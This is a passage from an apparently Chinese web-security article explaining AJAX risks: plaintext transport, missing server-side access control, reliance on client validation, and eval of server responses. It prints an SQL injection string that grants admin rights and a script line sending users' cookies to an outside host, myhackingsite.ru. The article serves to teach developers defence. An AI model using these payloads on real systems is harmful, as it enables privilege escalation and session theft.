5.不安全的通讯:每一个AJAX调用可能只回传很少数量的数据给客户端，但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用卡号码进行数字校验，但是如果使用纯文本代替over SSL进行发送数据会怎样呢?这是一个显而易见的问题，但是当有许多例行程序需要考虑，特别是屏幕上其它99%的数据不是真正的机密数据时，很容易就会忽视掉SSL的。

6.服务器端访问控制:使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误，服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆，他可能会是像下面这样:

showprevioushotels.aspx?userid=12345&destination=UK

这当然是非常好的，但是如果一个恶意用户把URL改成了如下所示该怎么办呢:

showprevioushotels.aspx?userid=12346&destination=%

他们会得到其他人最喜爱的旅馆吗?(注意:%在SQL语句中是通配符)。无疑，这是一个没有什么危害的例子，但是Max应该使用 session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分，但它们可能就是最重要的一小部分。

7.服务器端验证:实际上这里有两个问题。第一，AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max，使Max有一种虚假的安全感，原因是他建立了称作alloweddestinations.php的函数，根据用户的ID来决定他们能够到达的正确目的地。

因为这是一个服务器端的检查，当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼，这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。

AJAX控制可以比用户自己更仔细验证用户的输入，但是他们还是经常在服务器上最后做一次验证。

AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下，URL通常是隐藏着的，所以也会经常忘掉它。举例说明一下，也许我可以使用SQL Injection来对刚才的脚本进行攻击，如下所示:

showprevioushostels.aspx?userid=’; update users set type=’admin’ where userid=12345;–

就会让我登录后具有系统管理员的权限。当然，如何取得那些表名(table)和字段名已经超出了本文讨论的范围，但是你已经了解这种情况了，不是吗?

8.客户端验证:我们已经知道在刚才的Google Suggest例子中，通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难保证可靠性和流畅性)，客户端将仅仅简单执行服务器需要它完成的事情。

这样的话，由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”)，于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中)，这种攻击将很难被发现。

Max使用下面的响应在目的地网页上更新天气图标，他是用的函数是eval();函数:

updateWeatherIcon(’cloudy.gif’);

然而，恶意的cracker能够把这个函数变成下面的形式，这样要发现这种攻击就更加困难了:

updateWeatherIcon(’www.myhackingsite.ru/grab.aspx?c=’ + document.cookies); updateWeatherIcon(’cloudy.gif’);

我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。

小结

毫无疑问，AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”，使用AJAX必须小心谨慎，这样才能够保证web站点的安全。

然而，最大的威胁之一，来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外，使测试很不直观;同时，这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失，它们变得更多更复杂了。